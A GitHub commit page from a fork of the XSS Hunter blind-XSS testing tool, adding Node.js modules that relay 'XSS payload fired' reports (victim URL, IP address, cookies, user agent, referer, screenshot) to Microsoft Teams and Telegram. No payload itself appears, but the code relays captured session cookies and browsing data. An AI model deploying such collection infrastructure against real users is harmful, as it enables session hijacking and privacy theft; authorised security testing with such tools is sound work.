forked from mandatoryprogrammer/xsshunter-express
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
a0b02ba
commit a676a7b
Showing
6 changed files
with
145 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,61 @@ | ||
| const { IncomingWebhook } = require('ms-teams-webhook'); | ||
| const url = process.env.TEAMS_WEBHHOK_URI | ||
| const webhook = new IncomingWebhook(url); | ||
|
|
||
| async function send_teams_notification(xss_payload_fire_data){ | ||
|
|
||
| const date = new Date(xss_payload_fire_data.browser_timestamp); | ||
|
|
||
| const card = { | ||
| "@type": "MessageCard", | ||
| "@context": "https://schema.org/extensions", | ||
| "summary": "XSS Payload Fired", | ||
| "themeColor": "d70048", | ||
| "title": `XSS Payload Fired - ${xss_payload_fire_data.id}`, | ||
| "potentialAction":[ | ||
| { | ||
| "@type": "OpenUri", | ||
| "name": "View Screenshot", | ||
| "targets": [ | ||
| { | ||
| "os": "default", | ||
| "uri": xss_payload_fire_data.screenshot_url | ||
| } | ||
| ] | ||
| } | ||
| ], | ||
| "sections": [{ | ||
| "text": date.getHours() + ":" + date.getMinutes() + " - "+ date.toDateString(), | ||
| "facts": [ | ||
| { | ||
| "name": "URL", | ||
| "value": xss_payload_fire_data.url | ||
| }, | ||
| { | ||
| "name": "IP Address", | ||
| "value": xss_payload_fire_data.ip_address | ||
| }, | ||
| { | ||
| "name": "Cookies", | ||
| "value": xss_payload_fire_data.cookies ? xss_payload_fire_data.cookies : "null" | ||
| }, | ||
| { | ||
| "name": "Origin", | ||
| "value": xss_payload_fire_data.origin ? xss_payload_fire_data.origin : "null" | ||
| }, | ||
| { | ||
| "name": "User-Agent", | ||
| "value": xss_payload_fire_data.user_agent ? xss_payload_fire_data.user_agent : "null" | ||
| }, | ||
| { | ||
| "name": "Referer", | ||
| "value": xss_payload_fire_data.referer ? xss_payload_fire_data.referer : "null" | ||
| } | ||
| ] | ||
| }] | ||
| } | ||
| const message = JSON.stringify(card); | ||
| webhook.send(message); | ||
| } | ||
|
|
||
| module.exports.send_teams_notification = send_teams_notification; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,46 @@ | ||
| const { Telegraf } = require('telegraf'); | ||
| const bot = new Telegraf(process.env.BOT_TOKEN); | ||
|
|
||
| help_msg = `Welcome to the XSS Hunter Telegram notifier. | ||
| Here is a list of the available commands: | ||
| * /start - Initializes server chat id to send XSS fires. | ||
| * /frappe - Orders a Frappe | ||
| * /help - This help page` | ||
|
|
||
| start_msg = `XSS Bot has been initialized successfuly | ||
| Any XSS payloads fired will now be sent here, please use the /help command for more info` | ||
|
|
||
| if(process.env.TELEGRAM_BOT_NOTIFICATIONS_ENABLED === "true"){ | ||
|
|
||
| bot.telegram.setWebhook(process.env.HOSTNAME+process.env.WEBHOOK_PATH); | ||
| // Start bot | ||
| console.log("Setting up bot commands") | ||
| bot.start((ctx) => {ctx.reply(start_msg); global.chat = ctx.chat;}) | ||
| bot.help((ctx) => ctx.reply(help_msg)); | ||
|
|
||
| bot.command('frappe',(ctx) => ctx.reply("Έφτασεεεεν … Ρούφα τζαι έρκετε!")); | ||
|
|
||
| console.log("Bot Launched Successfully"); | ||
| console.log("Use /start command to initialize Bot"); | ||
|
|
||
| } | ||
|
|
||
| async function send_telegram_notification(xss_payload_fire_data){ | ||
|
|
||
| xss_msg = ` | ||
| XSS Fired: | ||
| url: ${xss_payload_fire_data.url} | ||
| ip_address: ${xss_payload_fire_data.ip_address} | ||
| ` | ||
| try{ | ||
| bot.telegram.sendMessage(chat.id, xss_msg ); | ||
| bot.telegram.sendPhoto(chat.id, xss_payload_fire_data.screenshot_url ); | ||
| } | ||
| catch (e){ | ||
| console.log("XSS Fired, but failed to send telegram message"); | ||
| console.log("Make sure to initiate telegram bot with /start"); | ||
| } | ||
| } | ||
|
|
||
| module.exports.bot = bot; | ||
| module.exports.send_telegram_notification = send_telegram_notification; |